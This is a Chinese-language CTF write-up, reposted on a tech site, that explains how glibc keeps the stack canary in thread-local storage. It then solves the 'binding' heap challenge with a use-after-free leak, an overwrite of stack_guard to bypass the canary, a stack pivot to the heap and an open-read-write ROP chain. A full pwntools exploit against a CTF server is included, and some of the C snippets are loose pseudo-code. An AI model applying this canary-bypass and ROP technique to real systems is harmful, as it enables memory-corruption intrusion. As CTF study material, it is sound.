经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
劫持TLS绕过canary && 堆和栈的灵活转换
来源:cnblogs  作者:CH13hh  时间:2024/7/11 19:32:53  对本文有异议

引入:什么是TLScanary?

TLScanary 是一种在 Pwn(主要是二进制漏洞利用)中常见的技术,专门用于处理 TLS 保护的二进制文件。在安全竞赛(例如 CTF)和漏洞利用场景中,攻击者需要应对目标程序的多层安全机制,其中 TLS 是一种常见的保护措施。TLScanary 结合了 TLS 协议与堆栈保护(stack canary)技术,增加了攻击难度。

可见TLS和canary有着不可分割的关系

介绍:TLS的基本概念(pwn canary中)

  • TLS 是一种用于在线程本地存储数据的机制。每个线程都有自己的 TLS 区域,用于存储与该线程相关的特定数据。
  • 在堆栈保护方面,TLS 常被用于存储堆栈 canary 值,这是一种防止缓冲区溢出攻击的安全措施。
  • 堆栈 canary 是一种在函数返回地址之前插入的特殊值,用于检测堆栈溢出。如果缓冲区溢出覆盖了 canary 值,程序会在返回前检测到不一致,并终止执行,防止恶意代码执行。

其实对于多线程的canary来说,每个线程的canary都是独立存在的,当一个线程被创建时,操作系统会为该线程分配一个独立的 TLS 区域。这个区域通常通过某种线程控制块(TCB)来管理,每个线程都有一个独立的 TCB。

在多线程环境中,每个线程的堆栈上都会有一个独立的 canary 值。操作系统或运行时库在为每个线程分配堆栈时,会在堆栈的适当位置插入一个 canary 值。

一个示例代码

  1. void* thread_function(void* arg) {
  2. // 每个线程有自己独立的 TLS 区域
  3. __thread int thread_local_variable = 0;
  4. // 在函数入口处插入 canary 值
  5. unsigned long canary_value = generate_random_canary();
  6. // 检查 canary 值是否被修改
  7. if (canary_value != expected_canary_value) {
  8. terminate_program();
  9. }
  10. // 线程的实际工作
  11. // ...
  12. return NULL;
  13. }
  14. int main() {
  15. pthread_t threads[NUM_THREADS];
  16. // 创建多个线程
  17. for (int i = 0; i < NUM_THREADS; i++) {
  18. pthread_create(&threads[i], NULL, thread_function, NULL);
  19. }
  20. // 等待所有线程完成
  21. for (int i = 0; i < NUM_THREADS; i++) {
  22. pthread_join(threads[i], NULL);
  23. }
  24. return 0;
  25. }

struct pthread结构体

  1. #include <stddef.h> // 为了使用 size_t
  2. /* Definition of the tcbhead_t structure (hypothetical) */
  3. typedef struct {
  4. // 定义线程控制块头部结构体
  5. // 可以根据实际情况进行定义
  6. // 例如:线程 ID、状态信息等
  7. int thread_id;
  8. // 其他相关信息
  9. } tcbhead_t;
  10. /* Define the pthread structure */
  11. struct pthread {
  12. #if !TLS_DTV_AT_TP
  13. /* This overlaps the TCB as used for TLS without threads (see tls.h). */
  14. tcbhead_t header; // 可能与 TLS 相关的头部信息
  15. #else
  16. struct {
  17. // 更复杂的结构体定义
  18. // 可能包含与 TLS 相关的更多详细信息
  19. // ...
  20. } header;
  21. #endif
  22. /* Extra padding for alignment and potential future use */
  23. void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
  24. };

看见看到struct pthread结构的第一个字段是tcbhead_t

tcbhead_t 结构体的解析:

  1. typedef struct {
  2. void *tcb; /* 指向线程控制块(TCB)的指针 */
  3. dtv_t *dtv; /* 线程特定数据的指针 */
  4. void *self; /* 指向线程描述符的指针 */
  5. int multiple_threads; /* 标识是否有多个线程 */
  6. int gscope_flag; /* 全局作用域标志 */
  7. uintptr_t sysinfo; /* 系统信息 */
  8. uintptr_t stack_guard;/* 堆栈保护 */
  9. uintptr_t pointer_guard; /* 指针保护 */
  10. /* 其他可能的字段... */
  11. } tcbhead_t;

其中stack_guard里面放的就是单线程的canary,通常可以通过覆盖它的内容来达到绕过canary保护的目的

一道题目的引入

刚好对于上一篇留下的问题,题目:binding

题目保护情况

64位ida载入

初看时是个堆题

 

add函数申请大小有限制,一次创建两个堆块,calloc申请堆块

edit函数,白给任意地址写一个字节(因为unsigned __int8类型指针占一个字节),有溢出不多,可以迁移

free函数,明显的UAF漏洞可以泄露地址

show函数

开了沙箱,只能orw

??思路:1.通过UAF漏洞泄露heap地址和libc地址

2.通过任意地址写劫持stack_guard来绕过canary保护

3.通过栈迁移迁移到heap上,执行rop链

EXP:

  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. libc =ELF('./libc-2.31.so')
  4. #io = process('./binding')
  5. io = remote('node5.buuoj.cn',26892)
  6. def add(index,size,content):
  7. io.sendlineafter('choice:','1')
  8. io.sendlineafter('Idx:',str(index))
  9. io.sendlineafter('Size:',str(size))
  10. io.sendafter('Content:',content)
  11. def edit(index,content1,content2):
  12. io.sendlineafter('choice:','2')
  13. io.sendafter('Idx:',index)
  14. io.sendafter('context1: ',content1)
  15. io.sendafter('context2: ',content2)
  16. def show(rw,index):
  17. io.sendlineafter('choice:','3')
  18. io.sendlineafter('choice:',rw)
  19. io.sendlineafter('Idx:',str(index))
  20. def free(index):
  21. io.sendlineafter('choice:','4')
  22. io.sendlineafter('Idx:',str(index))
  23. #gdb.attach(io)
  24. for i in range(6):
  25. add(i,0x100,'a')
  26. for i in range(1,5):
  27. free(i)
  28. #gdb.attach(io)
  29. show('0',2)
  30. io.recvuntil(': ')
  31. heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
  32. success('heap_base----->'+hex(heap_base))
  33. #gdb.attach(io)
  34. show('1',4)
  35. io.recvuntil(': ')
  36. libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
  37. success('libc_base----->'+hex(libc_base))
  38. TLS = libc_base + 0x1f3568
  39. success('TLS----->'+hex(TLS))
  40. pause()
  41. pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
  42. pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
  43. pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
  44. leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
  45. #gdb.attach(io)
  46. orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
  47. orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
  48. orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
  49. orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
  50. orw_payload += p64(libc.sym['write']+libc_base)
  51. orw_payload = orw_payload.ljust(0xb0,b'a')
  52. orw_payload += b'./flag\x00\x00'
  53. add(6,0x120,orw_payload)
  54. payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
  55. edit(payload,p64(TLS),b'\x00'*8)
  56. io.interactive()

 

原文链接:https://www.cnblogs.com/CH13hh/p/18296983

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号